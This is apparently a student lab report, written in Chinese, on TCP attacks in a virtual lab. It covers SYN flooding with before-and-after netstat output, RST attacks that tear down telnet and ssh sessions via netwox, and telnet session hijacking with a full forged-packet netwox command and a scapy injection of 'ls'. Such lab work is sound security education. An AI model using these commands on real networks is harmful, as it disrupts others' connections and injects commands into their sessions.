Lab4

57117112 吴泽辉

Task1 SYN Flooding Attack

```
激活Internet连接 (服务器和已建立连接的)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::443                  :::*                    LISTEN
udp        0      0 0.0.0.0:51005           0.0.0.0:*
udp        0      0 127.0.1.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:47415           0.0.0.0:*
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp6       0      0 :::55408                :::*
udp6       0      0 :::5353                 :::*
raw6       0      0 :::58                   :::*                    7
活跃的UNIX域套接字 (服务器和已建立连接的)
Proto RefCnt Flags       Type       State         I-Node   路径
unix  2      [ ]         数据报                   28094    /run/user/1000/systemd/n
otify
```

```
激活Internet连接 (服务器和已建立连接的)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::443                  :::*                    LISTEN
tcp6       0      0 192.168.1.105:80        246.209.102.134:3982    SYN_RECV
tcp6       0      0 192.168.1.105:80        130.71.134.202:21644    SYN_RECV
tcp6       0      0 192.168.1.105:80        241.249.32.105:42303    SYN_RECV
tcp6       0      0 192.168.1.105:80        219.110.91.193:55760    SYN_RECV
tcp6       0      0 192.168.1.105:80        85.55.211.229:50467     SYN_RECV
tcp6       0      0 192.168.1.105:80        118.86.197.120:25565    SYN_RECV
tcp6       0      0 192.168.1.105:80        248.60.112.93:18455     SYN_RECV
tcp6       0      0 192.168.1.105:80        111.99.210.97:13843     SYN_RECV
tcp6       0      0 192.168.1.105:80        200.26.164.162:39509    SYN_RECV
tcp6       0      0 192.168.1.105:80        254.180.222.252:18032   SYN_RECV
tcp6       0      0 192.168.1.105:80        65.186.127.93:41912     SYN_RECV
tcp6       0      0 192.168.1.105:80        35.162.31.111:64466     SYN_RECV
tcp6       0      0 192.168.1.105:80        198.249.243.231:14210   SYN_RECV
```

对比攻击前和攻击后，发现多了很多 syn_recv 状态的连接。

Task2 TCP RST Attacks on telnet and ssh Connections

```
[09/10/20]seed@VM:~$ telnet 10.0.2.5
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Thu Sep 10 00:28:47 PDT 2020 from VM-2.local on pts/1
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
```

```
[09/10/2020 01:05] seed@ubuntu:~$ packet_write_wait: Connection to 10.0.2.5 por
t 22: Broken pipe
```

使用 sudo netwox 78 -i （ip）命令可以对 talnet 和 ssh 连接进行攻击使连接终止

Task3 TCP Session Hijacking

首先再攻击机上开启 wireshark，然后在用户机开 talnet 连接

```
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Thu Sep 10 20:55:53 PDT 2020 from VM.local on pts/
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686

 * Documentation:  https://help.ubuntu.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
```

使用攻击命令 sudo netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 -ip4-src 10.0.2.6 --ip4-dst 10.0.2.5 --tcp-src 35490 --tcp-dst 23 --tcp-seqnum 53356105 --tcp-acknum 1832019018 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"伪造一个包，可以在 wireshark 上观察到受害者的响应报文

```
▸ Internet Protocol Version 4, Src: 192.168.43.172, Dst: 192.168.43.42
▾ Transmission Control Protocol, Src Port: 32444, Dst Port: 23, Seq: 5, Ack: 323, Len: 0
    Source Port: 32444
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 5    (relative sequence number)
    [Next sequence number: 5    (relative sequence number)]
    Acknowledgment number: 323    (relative ack number)
    0101 .... = Header Length: 20 bytes (5)
```

使用 scapy 进行攻击

攻击者用 scapy 伪造一个报文，数据字段为“ls\r”，发出该报文，可以在 wireshark 上观察到响应报文，报文的数据是受害者执行“ls\r”的输出结果。

```
Telnet
   Data: ls\r\n
   Data: \033[0m\033[01;34mDesktop\033[0m          \033[01;34mopenssl-1.0.1\03
   Data: \033[01;34mDocuments\033[0m      \033[01;31mopenssl_1.0.1-4ubuntu5.
   Data: \033[01;34mDownloads\033[0m      openssl_1.0.1-4ubuntu5.11.dsc
   Data: \033[01;34melggData\033[0m       \033[01;31mopenssl_1.0.1.orig.tar.
   Data: examples.desktop  \033[01;34mPictures\033[0m\r\n
   Data: \033[01;34mMusic\033[0m          \033[01;34mPublic\033[0m\r\n
```